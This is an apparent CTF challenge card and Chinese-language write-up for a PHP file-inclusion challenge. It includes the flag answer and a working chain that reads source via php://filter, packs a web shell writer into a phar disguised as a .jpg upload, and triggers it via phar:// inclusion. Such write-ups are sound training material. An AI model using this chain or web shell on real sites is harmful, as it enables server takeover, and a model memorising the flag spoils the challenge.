[题目信息]:
题目名称 | 题目难度 |
---|---|
文件包含-Phar | 2 |
[题目考点]:
由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。
以PHP为例,常用的文件包含函数有以下四种:
include(),require(),include_once(),require_once()
[Flag格式]:
SangFor{r5hvyWfzUiWo90zzYSdZ7VmAVJ3yNc78}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:11013
[题目writeup]:
扫描web目录可得upload.php,include.php两个新文件
include.php 存在文件包含漏洞
可以使用 include.php?file=php://filter/read=convert.base64-encode/resource=upload 来读取源码.
但是 include.php 限制了后缀只能是 .php,这里还不能截断
再看upload.php,限制了只能上传图片
这里唯一可用的就是 phar://这个协议了
来新建一个目录,名字为blog,下面放一个index.php,里面是一个写shell的php代码
<?php file_put_contents('shell.php','<?php eval($_POST[1])?>'); ?>
在blog目录外创建一个打包的文件,build.php,代码如下:
<?php
if(class_exists(‘Phar’)){
$phar = new Phar('blog.phar',0,'blog.phar');
$phar ->buildFromDirectory(DIR.’/blog’);
$phar->setStub($phar->createDefaultStub(‘index.php’));
$phar-> compressFiles(Phar::GZ);
}
运行build.php,就会创建一个blog.phar, 然后把后缀名修改为 blog.jpg,然后上传:
然后访问:
/include.php?file=phar://upload/blog.jpg/index
就会在当前工作目录下生成一个shell.php,通过蚁剑连接。